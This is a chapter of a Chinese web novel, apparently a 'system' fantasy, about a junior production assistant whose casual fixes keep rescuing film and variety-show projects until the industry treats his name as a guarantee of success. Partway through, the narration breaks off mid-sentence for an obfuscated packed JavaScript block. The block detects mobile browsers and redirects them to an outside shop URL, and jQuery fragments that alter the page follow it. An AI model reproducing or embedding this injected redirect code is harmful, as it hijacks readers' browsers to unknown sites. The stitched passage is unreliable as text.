第二天，棚里出了更麻烦的事。


    B机画面回放时，监视器突然一顿，画面跳成一格一格的马赛克，时间码乱跳，曝光曲线在波形图上疯狂抖动。


    摄影指导黑着脸：“卡机？跳帧？你逗我？这条是今天最重要的长镜头！”


    机位架在三层高的摇臂上，吊着一台最新款的数字摄影机，旁边是堆成小山的移动硬盘和数据线。数据工程师满头汗，趴在机身后面连拔带插：“可能是缓存写入异常……要不重拍？”


    重拍意味着整个棚的灯光重置，群演重新就位，烟饼再打一次，场务再铺一遍地上的碎玻璃。制片人脸色发青，开始在一旁算钱。


    “你们先别动。”导演死死盯着那条刚刚回放到一半的镜头，“这条情绪最好，重拍不一定有这状态。”


    “要不……我看看？”齐司本来只是来送新打印的通告单，被卡在门口，手里还夹着一叠A4纸。


    “你？”数据工程师愣了一下，下意识把位置让开，“你会？”


    “不会。”齐司老实，“我之前在后期公司打过工，帮忙拷过素材，可能是接触不良？”


    他伸手按了两下机身侧面的重启键，又把数据线拔下来重新插紧，顺手把旁边一个松松垮垮的电源插头按进插排里。


    机身重启，风扇转了一圈，红灯亮起。数据工程师半信半疑地点开刚才那条素材。


    波形图上的曝光曲线从原本的乱跳，突然变成一条平滑的弧线，暗部细节被拉出来，高光不再炸白。画面里，男主从走廊尽头逆光走来，背后是一整排被打亮的窗格，光线从他肩膀边缘绕出一圈金边，烟雾在他脚边慢慢散开。


    刚才跳帧的地方，现在变成了一个极其顺滑的微微慢动作——他抬眼的那一瞬间，眼神刚好对上镜头，瞳孔里反射出走廊尽头那一束冷白顶光。


    导演盯着监视器，整个人往前倾：“……这慢动作谁加的？”


    数据工程师脸都白了：“没加！原机素材！刚才明明是跳帧啊！”


    画面继续往后推，镜头轻微晃了一下，本该是手持不稳的抖动，现在却像是刻意设计的呼吸感，跟着男主的步伐一点一点贴近，最后在他停下的瞬间，焦点从他肩膀滑到眼睛，锐利得像刀。


    “这条封神了。”摄影指导低声说。


    后期剪辑时，这个镜头被单独拉出来，前后只加了两帧黑场，配乐在他抬眼那一刻戛然而止，留出一秒钟的静音。


    上线当天，弹幕疯狂刷：“这镜头谁设计的？！”“这就是电影感吗？”“国产剧终于有这种质感了！”


    B站上有人专门做了技术拆解视频，把那条镜头的波形图、矢量示波器截图出来，分析曝光、色彩、运动轨迹，最后得出结论：“这条镜头的跳帧和轻微晃动，反而形成了独特的情绪张力。”


    底下高赞评论：“听说是机子卡了，被一个编务小哥按了两下。”


    —


    与此同时，另一个城市的高层会议室里，空气冷得像刚从冷库里拉出来。


    落地窗外是灰蓝色的城市天际线，会议桌上摆着一排排矿泉水，标签都朝着同一个方向。大屏幕上投着一份项目数据报表，红色的亏损曲线一路往下扎。


    “这个综艺我们已经砸了两个亿。”投资方代表敲着桌面，“录了两期，预热数据惨不忍睹，平台要砍。”


    制片人眼眶发红：“嘉宾档期都排了，棚也搭了，临时砍掉我们要赔多少违约金？”


    “要不就当止损。”平台方高层翻着平板，语气冷淡，“现在停还来得及，继续烧钱只会更难看。”


    会议室门外的走廊上，齐司抱着一摞合同复印件，站在打印机旁等纸吐出来，打印机里传出“哔——哔——卡纸”的提示音。


    他无奈地打开盖子，把一张皱巴巴的纸抽出来，顺手把旁边那台闲置的扫描仪电源插上，想用它先把合同扫成电子版发过去，免得里面的人吵完才想要。


    扫描仪的驱动在电脑屏幕上自动安装，进度条从0%慢慢爬到100%。与此同时，连接在同一局域网里的会议室大屏幕突然弹出一个新窗口——


    【自动同步：项目资料包-最新版本】


    制片人一愣：“这是什么？”


    技术支持在角落里挠头：“可能是后台自动同步了制作组的资料？”


    大屏幕上跳出一份原本只存在于制作组内部的“备选玩法方案”，是齐司之前被后期拉去帮忙整理素材时，顺手把几个废弃环节重新归类、标注，做成的一个“备忘录”。


    他嫌原来的环节名字太长，就随手改成了几个简单的词：


    【素人互换人生】、【24小时真空挑战】、【嘉宾□□黑箱】……


    每个词后面，他顺手加了几行备注：“成本低”“容易出矛盾点”“适合剪短视频”“适合做话题”。


    平台高层盯着那几行字，眼睛慢慢亮了：“这个‘24小时真空挑战’什么意思？”


    制片人翻着那份资料：“就是把嘉宾丢到一个没有手机、没有助理、没有预设任务的地方，看他们自己怎么过24小时……这个是我们之前觉得太‘作’了，怕被骂，就没敢上报。”


    “现在就怕不作。”投资方代表冷笑，“你看现在数据，平平无奇，谁看？”


    平台高层手指在桌上敲了几下：“把这个方案捞出来，按这个改。嘉宾阵容不变，玩法全换。”


    “可是棚已经搭好了……”制片人犹豫。


    “那就把棚当成‘真空空间’。”平台高层干脆，“24小时封闭录制，直播+剪辑双线走。你们不是请了几个流量吗？让他们自己在棚里折腾去。”


    方案一拍板，项目从“准备砍”变成“重点改造”。制片人从会议室里冲出来，差点撞上走廊上的齐司。


    “哎，小齐，你在这儿干嘛？”


    “打印合同。”齐司举了举手里的纸，“你们不是要签终止协议吗？”


    “终止什么终止！”制片人眼睛发光，“我们项目救回来了！平台要按你们那个‘备选方案’改，你之前整理的那个文档还在吗？发我一份完整版！”


    “我就随手……”齐司话还没说完，对方已经把他往会议室里拽，“你进来一起听，后面玩法你最熟。”


    综艺改版后，第一期上线，直播间在线人数从原本的几十万，直接飙到三百万。弹幕疯狂刷：“这是真封闭啊？”“手机都没收了？！”“看流量男明星不会做饭太爽了。”


    剪出来的短视频在各个平台疯传，“#顶流被封在棚里24小时#”“#女明星素颜找不到卸妆水#”轮番上热搜。广告主临时加预算，连夜把中插广告从15秒加到30秒。


    投资方内部群里，有人发了一张对比图：原本一路下跌的红色亏损曲线，在改版后突然掉头向上，变成一条漂亮的蓝色增长线。


    群里有人问：“是谁提的改版方案？”


    制片人发了个“捂脸”表情：“一个编务小哥整理的备选玩法。”


    —


    随着这些项目一个接一个起死回生，圈内的风向开始肉眼可见地偏移。


    某个下午，齐司刚从道具间出来，手里拎着一袋子备用电池和胶带，走廊尽头突然冒出三个人——一个戴棒球帽的顶流男明星，一个穿黑衬衫的导演，还有一个拎着公文包的制片人。


    “齐老师！”顶流第一个冲上来，墨镜往头上一推，笑得格外乖：“上次你说我‘别老抬下巴’那件事，我改了，最近路透都说我镜头感变好了。”


    齐司愣了一下：“我只是说你抬下巴会露鼻孔。”


    “对！就是这个！”男明星点头如捣蒜，“你再看看我新剧的人设，我总觉得哪里不对。”


    导演也把剧本递过来：“还有我这个新片子，投资已经到位了，就差一个‘顾问’挂名，你要不要来玩玩？不署名也行。”


    制片人把公文包打开，里面整整齐齐地码着几份项目企划书：“我们公司这边有三个项目，电影、剧集、综艺各一个，你随便挑一个挂个‘协调’或者‘编务’的名字就行，其他不用你管。”


    齐司被三份剧本、三份企划、一个顶流的期待眼神包围，手里的电池袋子差点掉地上。


    “我……最近排班挺满的。”他努力找借口，“要不你们找专业的？”


    “你就是专业的。”导演很真诚，“你在就行，你不需要做什么。”


    “对，你就来片场坐着。”制片人补充，“我们会给你单独准备一间休息室，写字随便写，不写也没关系。”


    顶流在旁边点头：“你就偶尔看我一眼，说我哪里别扭就行。”


    —


    资本那边的动作更直接。


    某天晚上，齐司下班，打卡机旁边的走廊灯光昏黄，墙上的应急灯闪了一下。他刚刷完卡，手机震动，弹出一条陌生号码的短信：


    【齐先生您好，我们是XX资本，诚挚邀请您担任我们新成立的文娱专项基金顾问，年薪面议，可不坐班。】


    紧接着第二条：


    【齐总您好，我们YY投资愿意为您个人设立一支跟投基金，您只需决定是否参与项目，我们负责其余全部操作。】


    第三条来自一个平台高层的私人微信：


    【小齐，有空出来喝杯咖啡？我们想听听你对明年内容趋势的看法。】


    齐司看着“齐总”两个字，沉默三秒，把手机锁屏，提着背包往地铁站走。


    地铁站里，灯光冷白，站台上的广告屏循环播放着他参与过的几个项目的片花——那句爆红的台词，那条封神的长镜头，还有综艺里嘉宾被关在棚里抓狂的画面。


    屏幕右下角的数据条在不断刷新：“播放量 3.2 亿”“讨论量 180 万”“话题阅读 12 亿”。


    他站在屏幕前等车，背后有人小声说：“听说这几个项目背后有同一个人操盘。”


    “哪个大佬？”


    “具体不知道，好像是个不露面的庄家，专门挑项目，只要他点头，项目就飞。”


    —


    网上的舆论也开始自动往他这边靠。


    某个项目因为剪辑节奏太快，被部分观众吐槽“眩晕”，剪辑师被挂在热搜上。有人翻出幕后花絮，发现齐司在剪辑室门口递过一杯咖啡，被误认成剪辑师本人。


    一时间，话题“#神秘剪辑师#”冲上热搜，评论两极分化，有人夸，有人骂。


    系统界面在他视野边缘轻轻一闪：


    【检测到舆论偏差。】


    【行业趋势自动校正中……】


    不到半小时，另一个营销号发出澄清：“那位只是路过的编务小哥，真正的剪辑师是××。”底下评论自动转向：“路过的也被骂，别乱扣帽子。”“人家只是递了杯咖啡。”


    舆论风向从“剪辑拉胯”变成“幕后工作人员不易”，项目本身的讨论度却被顺势抬高，播放量再涨一截。


    齐司在公司走廊的自动售货机前，投了一瓶冰可乐，拉开拉环时，手机上弹出系统提示：


    【当前世界进度：98%。】


    【行业共识已固化：只要齐司参与，项目就一定成。】


    【宿主行业身份：隐形庄家（默认掌控行业趋势）。】


    他咬开可乐罐，冰气冲上鼻腔，打了个小小的嗝，完全没看见那行“掌控行业趋势”。


    在他看不见的地方，一份份项目企划书在不同公司的会议室里被摊开，第一页的“核心资源”一栏里，被默契地加上同一个名字：


    【关键参与人：齐司（形式不限，参与即视为成功信号）。】


    平台的内容排期表上，某一列被标注成浅灰色：“待齐司确认”。投资委员会的决策模型里，多了一条隐藏权重：“齐司参与=优先级+3”。


    资本的风向、导演的选角、明星的档期、平台的排播，像是被一只看不见的手轻轻拧了一下方向盘，全都朝着同一个人汇聚。


    而那个人，正拎着一瓶喝了一半的可乐，站在公司后门的台阶上，看着天色发暗，心里只盘算着一件事：


    “今天能不能准点回家？”


    后门那条窄巷子里，灯管刚亮，冷白色的光打在潮湿的水泥地上，反着一点虚假的亮。齐司把可乐瓶拧紧，准备往外走，手机震了一下。


    “齐司，你在哪儿？”是执行制片的电话，背景里一片嘈杂，“赶紧来一趟三号棚，导演要炸了。”


    “我下班了。”他条件反射。


    “加个班，救个命。”那边直接挂断。


    齐司叹口气，把可乐塞进旁边垃圾桶，往棚里走。走廊里灯光偏黄，墙上贴着今天的拍摄通告，红笔圈出来的几场戏旁边写着“重点”“难点”。


    三号棚里灯光打得刺眼，顶上四组大功率LED顶灯全开，地上铺着轨道，摄影机停在中段，监视器前围着一圈人。导演坐在折叠椅上，耳麦挂在脖子上，脸色阴得像棚顶的黑旗。


    “卡！”导演又一次吼停，声音透过扩音喇叭在棚里炸开，“这场戏是吵架，不是朗诵会！你们两个是在背台词吗？”


    男女主站在布景搭出来的客厅里，女主妆发精致，眼线拉得很长，男主衬衫领口解开两颗扣子，手里还捏着刚刚摔下去又被道具组捡回来的剧本。两个人都憋着一股气，眼神却虚浮。


    齐司刚走进来，就被执行制片一把拽过去：“你终于来了。”


    “我只是路过。”他强调。


    “路过也行，你就……随便看看。”执行制片把他往监视器前一推。


    监视器上回放刚才那条，镜头是中景，机位略微仰拍，灯光把两个人脸上的妆都照得有点假，台词一出口，空气里都是“表演痕迹”。


    编剧抱着本子站在一边，眼睛里全是心疼：“我写的不是这样的。”


    导演烦躁地把耳麦往桌上一摔：“台词太死，节奏太死，情绪全是假的。谁写的这页？”


    编剧弱弱举手：“我……”


    导演正要开骂，一抬头看见齐司：“你怎么来了？”


    “被叫来的。”齐司说。


    导演愣了一下，脸色立刻缓和：“正好，你帮我看看这页。就这一页，吵架那段。”


    编剧立刻把剧本递过去，纸边都被翻得起毛。那一页上密密麻麻的台词，标着ABAB的对话，几乎没有停顿。


    齐司本来想说“我不懂表演”，但导演和编剧、执行制片、场记全都盯着他。他只想快点结束，好回家。


    他随手翻了一下，指尖在纸上滑过，停在一处：“这儿太整齐了。”


    “哪儿？”编剧凑过来。


    “你看，”齐司随口，“这两句‘你从来没问过我想要什么’、‘你从来没在乎过我’，意思差不多，语气也一样，演员一说就会像念台词。把前面那句改成具体一点的事，比如‘你连我生日是哪天都不知道’，后面那句留着，前后就有层次了。”


    编剧“哦”了一声，飞快在纸上划掉一行，写上新的。


    齐司又往下看：“这儿你让他解释一大段，太长了。人吵架的时候不会这么有逻辑。你把这段拆成三句，中间加点打断、重复。”


    他随手在空白处写了几个词：“‘你别扯远的’、‘你现在说这些有用吗’之类的，演员自己会接。”


    导演眼睛亮了一下：“对，吵架要打断。”


    齐司把剧本往后一翻：“最后这句‘我们都累了’，别说。你让他闭嘴，停两秒，直接摔门走。镜头给背影和门震一下的声音，比台词有力。”


    导演猛地点头：“行，就按你说的来。”


    齐司把剧本递回去：“就改这一页吧，我得——”


    “来来来，马上试一条！”导演根本没给他走的机会，冲场记挥手，“按新台词，三号机准备特写，二号机拉中景，灯光把主光往右移一点，给男主脸上留点阴影。”


    灯光师立刻调整，顶灯右侧那组压下来，打在男主侧脸，另一边留出一条暗线，整个人的情绪一下子沉了。


    “准备——”导演戴上耳麦，“三、二、一，开始！”


    女主深吸一口气，再开口时，声音不再是平平的台词：“你连我生日是哪天都不知道。”


    这句一出，棚里安静了一瞬。


    男主愣了一下，眼神里真的有了被戳到的慌乱：“你……你别扯远的，我们现在说的是——”


    “你每次都这样！”女主打断他，声音抖了一下，“你现在说这些有用吗？”


    两个人的台词突然有了缝隙，呼吸、停顿、抢话，全都自然地串在一起。男主那段原本一整块的解释，被他自己拆成了几句，情绪一点点堆上去。最后，他张了张嘴，什么也没说，手指在门把手上用力一拧，门“砰”地一声关上，镜头跟着门震了一下。


    “卡！”导演猛地站起来，眼睛发亮，“就这样！太好了！”


    监视器前回放，刚才那一段吵架戏，节奏像被人精准剪了一遍，情绪起伏清晰，台词里那几句“你连我生日是哪天都不知道”“你现在说这些有用吗”，自然得像生活里吵过无数次的情侣。


    编剧盯着那页被涂改得乱七八糟的纸，喃喃：“就改了几句……”


    执行制片看向齐司：“你刚刚，是不是干过编剧？”


    “没有。”齐司说，“我只是想快点拍完。”


    这场戏当天就杀青了。剪辑师晚上加班，把这段粗剪塞进样片里，顺手发给平台的内容审核。平台审核部的小姑娘看样片的时候，正好跟男朋友吵完架，一看到这段，眼眶一热，直接把那两句台词截成小视频，发给了负责宣发的同事：“这段太真实了，先做个预热短视频？”


    第二天早上，短视频平台的首页上，一个还没定档的剧的片段突然冲上热榜。画面是女主红着眼睛问：“你连我生日是哪天都不知道。”弹幕刷满了“好真实”“这不就是我男朋友吗”“编剧懂吵架”。


    那两句台词被剪成无数个二创，配上不同情侣的照片、聊天记录、分手文案，24小时内播放量破亿。剧名被顺带挂在角落里，评论区有人问：“这剧什么时候播？”


    平台后台的数据曲线猛地往上窜，内容运营的会议室里，投影屏幕上那条代表“预热关注度”的蓝线，像被人从中间拎了一把，直冲云霄。运营总监敲着桌子：“谁改的这页台词？”


    宣发同事翻资料：“原剧本是编剧写的，但这页有手改痕迹，备注上写了一个名字……齐司。”


    会议室里安静了一秒。


    “又是他？”总监皱眉，“上次那个综艺的剪辑点子也是他提的吧？”


    “对，还有之前那个小成本网剧，他临时改了个结局，结果口碑爆了。”


    “行。”总监在排期表上，把这部剧的档期后面加了三个字：“重点推”，又在备注栏写了一行：“齐司参与。”


    ……


    三号棚那边，刚收工，摄影组那台主机机身突然亮起一排红灯，监视器画面一闪一闪，跳帧、卡顿、曝光忽明忽暗。


    “怎么回事？”导演脸色一变。


    摄影指导蹲在机位旁边，手忙脚乱地检查线缆：“不知道啊，刚才还好好的，一收工就出问题。”


    数据工程师从机后面钻出来，额头上都是汗：“刚刚导出来的素材有几段跳帧，曝光也怪，像是自动档乱了。”


    “那场吵架戏的素材呢？”导演立刻问。


    “在这块卡里。”数据工程师举起一张存储卡，“但刚才导的时候，这块卡也闪了一下，我现在不敢动。”


    导演脸都白了：“那场戏重拍不出来了。”


    执行制片四处看人：“谁会弄这个？”


    所有人都摇头。


    齐司站在一边，背着包，已经把手机拿出来准备叫车。他看了眼那台主机，机身侧面开着一个小盖子，里面的风扇灰尘厚得吓人。


    “你们这机器多久没清过灰了？”他随口问了一句。


    摄影指导一愣：“上……上个月？”


    “风扇卡住了，过热会死机。”齐司走过去，蹲下身，伸手按了两下机身侧面的重置键，又把电源线拔了插、插了拔，顺手把那块存储卡拔出来，吹了两口灰，再插回去。


    “别乱动——”数据工程师话还没说完，主机“滴”地一声，所有红灯熄灭，风扇重新转起来，监视器上的画面恢复正常。


    “再导一遍。”齐司站起来，“先把那场戏单独备份三份。”


    数据工程师战战兢兢地照做，进度条一点点往前走。导完之后，他打开刚才那场吵架戏的素材，原本担心的跳帧没有出现，反而——


    “诶？”他盯着屏幕，“这曝光怎么……”


    监视器上，吵架戏的原素材里，灯光像是被重新校准过。女主说“你连我生日是哪天都不知道”那一刻，她眼睛里的高光刚好被捕捉到，泪光一闪，镜头自动微微拉近了一个焦距


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939320|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，背景虚化得刚刚好。


    男主转身摔门的那一瞬间，画面里门板的纹理、他肩膀的线条、灯光打在他后颈上的那一块阴影，全都清晰得像是精心设计过。门关上的“砰”声被机内麦克风收得极干净，连门框轻微震动的声音都听得见。


    “这曝光怎么这么准？”摄影指导皱眉，“刚才现场看监视器的时候，没这么好看啊。”


    数据工程师飞快调出原始参数，一看，机器的曝光曲线在那场戏里自动做了一次微调，ISO、快门、光圈都在几秒内轻微变化过，最后停在一个完美的组合上。


    “这不科学啊。”他喃喃，“我们没动过自动档。”


    导演看着那段素材，整个人都安静了。刚才他还担心这场戏的质感，结果现在，镜头里的每一帧都像是被后期做过精修。连他原本觉得有点多余的一个眼神，放在这光线里，都变成了“神来之笔”。


    “这镜头……”导演低声说，“封神了。”


    执行制片回头看齐司：“你刚才，按了什么？”


    “重启。”齐司说，“和你家路由器卡了重启是一个道理。”


    “就按了两下？”摄影指导难以置信。


    “嗯。”齐司背好包，“那没事了吧？我可以走了吧？”


    导演眼睛还黏在监视器上，头也不回：“走吧走吧，辛苦了。”


    ……


    他以为这天终于能回家，结果刚走出棚门，手机又响了。


    “齐司？”是公司投资部的负责人，声音里带着一点讨好，“你明天有空吗？有个项目想请你来……随便看看。”


    “我不是投资部的。”齐司说。


    “不是不是，就是……你路过一下也行。”那边笑得很谦卑，“我们这边有个老项目，快烂尾了，大家都有点拿不准，你就来坐一会儿，喝杯咖啡。”


    “我明天排了剪辑。”齐司随口找借口。


    “剪辑可以挪一挪嘛。”负责人立刻说，“你就半小时，半小时。”


    齐司沉默两秒，想到如果不去，可能又要被上面点名，干脆答应：“早上十点。”


    第二天，投资部会议室。


    落地窗外是灰蓝色的城市天际线，会议桌上摊着厚厚一摞企划书，投影幕布上挂着一个项目名：《南城旧事》。这是个三年前立项的文艺片，导演换了两个，主演换了三拨，资金链断了又接，现在卡在“要不要继续砸钱”的节点。


    投资部的人脸色都不太好看，财务把PPT翻到一页，红色的负数刺眼：“目前已投入成本三千五百万，回收预期——”后面是一长串保守到近乎绝望的数字。


    “导演有点名气，但不算号召力。”市场部的人说，“题材又是小众文艺，院线不爱排，平台那边的报价也不高。”


    “要不止损？”有人提议。


    “止损就等于承认这三年白干了。”另一个人反驳。


    所有人争论不休，唯一的共识是——这个项目很难看见希望。


    投资部负责人看了看时间，咳了一声：“那个，齐司来了。”


    会议室的门被推开，齐司拎着一杯便利店咖啡走进来，头发还带着刚洗完没吹干的湿气。他一进门，所有人的眼神都刷地聚焦过来。


    “你们继续。”他下意识说。


    “不不不，我们就是等你。”负责人笑着把他请到主位旁边，“你随便坐，随便看看，有什么想法就说。”


    “我没想法。”齐司说，“我对投资不懂。”


    “你就……从内容角度看看？”市场部的人立刻递过来一本剧本，“听说你对剧本很有感觉。”


    齐司被迫接过，随手翻了几页。纸张有点发黄，边角卷起，显然在不同人的手里辗转过很多次。


    故事是一个南方小城的旧厂区，讲一群在城市化浪潮中被边缘化的小人物。气质很文艺，节奏很慢，台词很多，镜头设计在企划里写得很美，但他一眼就看出一个问题——太“正”。


    “你们想卖给谁看？”他问。


    会议室里一愣。


    “文艺青年？”市场部试探。


    “那你们现在的剧本，是给电影节评委看的。”齐司翻到中段，“普通观众看不完。”


    投资部负责人忙问：“那怎么办？”


    “你们有没拍完的素材？”齐司问。


    “有。”制片人赶紧打开电脑，调出一个文件夹，“这是前两任导演拍的素材，风格有点不统一。”


    “给我看一段。”齐司说。


    投影幕布上开始放素材。第一任导演拍的，镜头长、构图讲究，光线柔和，色调偏暖；第二任导演拍的，手持多、运动镜头多，色调偏冷，剪辑点乱。


    “你们现在打算怎么办？”齐司问。


    “我们本来想再找一个导演重拍一部分，把风格统一一下。”制片人说，“但再拍就要再花钱。”


    “你们平台那边有短剧频道吧？”齐司突然问投资部负责人。


    “有。”负责人点头，“现在短剧很火。”


    “那你们为什么一定要把它当院线电影卖？”齐司抬眼看他，“把它拆成短剧。”


    会议室里安静了两秒。


    “拆成短剧？”市场部的人皱眉，“这故事节奏这么慢，短剧观众会看吗？”


    “你们现在有两种风格的素材。”齐司说，“暖色长镜头可以当回忆，冷色手持当现实。把故事线拆成十几条，每条围绕一个人物，做成十分钟一集的短剧。用现实段落开头，回忆穿插进去，节奏自然就快了。”


    他指了指屏幕上的一段素材：“比如这个，工厂拆迁那场戏，你们现在拍得很完整，但可以拆成三段：拆迁前的争吵、拆迁中的混乱、拆迁后的空地。每一段都可以当一集的高潮。”


    “可是我们已经报的是电影项目……”制片人犹豫。


    “平台现在不是在推‘院线同源短剧’吗？”齐司说，“你们先把短剧剪出来，挂在短剧频道，打‘电影同源’的标签。等短剧火了，再把电影版当‘导演剪辑版’上线。”


    投资部负责人眼睛一亮：“一鱼两吃？”


    “你们现在的素材，电影版肯定要重剪。”齐司说，“短剧版可以先用现有素材试水，反正已经是烂尾项目了，多一个出口不亏。”


    市场部的人飞快在本子上记：“短剧版、电影版、同源、互导流……”


    “那你觉得，观众会看吗？”有人问。


    “你们把拆迁、工厂、老城这些关键词打出去，再配上几个情绪点——比如工人最后一次上班打卡、厂牌被拆下来那一刻——短视频平台会给你们推。”齐司说，“现在大家爱看这种‘旧时代结束’的情绪。”


    投资部负责人看着他：“那你愿不愿意，在这个项目上挂个名字？比如……内容顾问？”


    “我只是路过。”齐司说。


    “路过参与也行。”负责人立刻说，“我们就写‘特别鸣谢’。”


    “别写我名字。”齐司本能拒绝。


    “那写个缩写？”制片人试探，“Q.S.？”


    “随便。”齐司只想结束这个话题，“你们自己看着办。”


    会议结束后，投资部立刻行动。剪辑室里灯光昏暗，几台机器同时开工，剪辑师们把原本按电影节奏排布的素材拆得七零八落，重新按人物线、情绪点拼接。每一集的结尾都卡在一个“拆迁进行到一半”的瞬间，留足悬念。


    平台短剧频道的排期表上，《南城旧事·短剧版》被临时插入到一个原本空着的档期，备注栏写着：“试水项目（Q.S.参与）”。


    短剧上线第一天，数据平平。第二天，有个生活区的博主剪了其中一段——一个老工人最后一次打卡的镜头，配上“再见了，我的二十年”这句台词，发到了自己的账号上。


    那段视频意外地戳中了无数打工人的心。评论区里全是“像极了我离职那天”“看哭了”“这就是我爸当年下岗的样子”。算法捕捉到这波情绪，开始疯狂推送类似内容。


    第三天，《南城旧事·短剧版》的播放曲线在后台数据面板上突然拐了个弯，从缓慢上升变成几乎垂直的直线。运营部的屏幕上，那条代表“完播率”的绿色曲线一路冲到平台平均值的两倍。


    短剧的热度反向带动了对“电影版”的好奇。话题#南城旧事电影版什么时候上线#悄悄爬上热搜尾部，网友在评论区里催更：“想看大银幕版。”


    投资部的会议室里，财务把最新的预估收益表投到屏幕上，原本一片红的负数后面，多了一列绿色的预期收入。投资部负责人看着那串数字，整个人都松了一口气：“这项目，活了。”


    “谁提的短剧方案？”有人问。


    “Q.S.。”制片人说。


    “Q.S.是谁？”


    “就是齐司。”


    会议室里一片沉默，随后有人低声说：“他又踩对了。”


    ……


    消息在业内传得飞快。


    某个导演群里，有人发了个截图，是平台后台的项目列表。上面《南城旧事·短剧版》后面备注栏清清楚楚写着：“Q.S.参与”。


    “原来这个烂尾项目是他救的？”一个导演发语音，“我前两年还被拉去看过样片，当时真觉得没救了。”


    “你们谁有他微信？”另一个导演问，“我新项目缺个顾问。”


    “他在我们公司。”有人回，“但他不接项目。”


    “那你们公司真是捡到宝了。”


    与此同时，各大资本的会议室里，风向也在悄悄变。


    某娱乐基金的决策模型界面上，多了一项隐藏参数：“Q.S.参与权重：+3”。风控部门的人在模型说明里写道：“根据过往数据，凡Q.S.参与项目，ROI显著高于平均值。”


    另一个平台的内容排期表上，有一整列被标成浅灰色，标题是“待Q.S.确认”。每个项目后面都备注：“参与形式不限（顾问/剪辑/编剧/挂名均可）。”


    资本开始误判——或者说，开始统一一种误判：齐司，是一个“风口捕捉体质”的人。


    他出现的地方，就是风口。


    于是，项目企划书里多了一行标准化的需求：“争取Q.S.参与（哪怕挂名）。”预算表里甚至专门划出一项：“Q.S.参与费用（预留）。”


    有人笑称：“现在不写他名字，项目都不好意思拿出去见人。”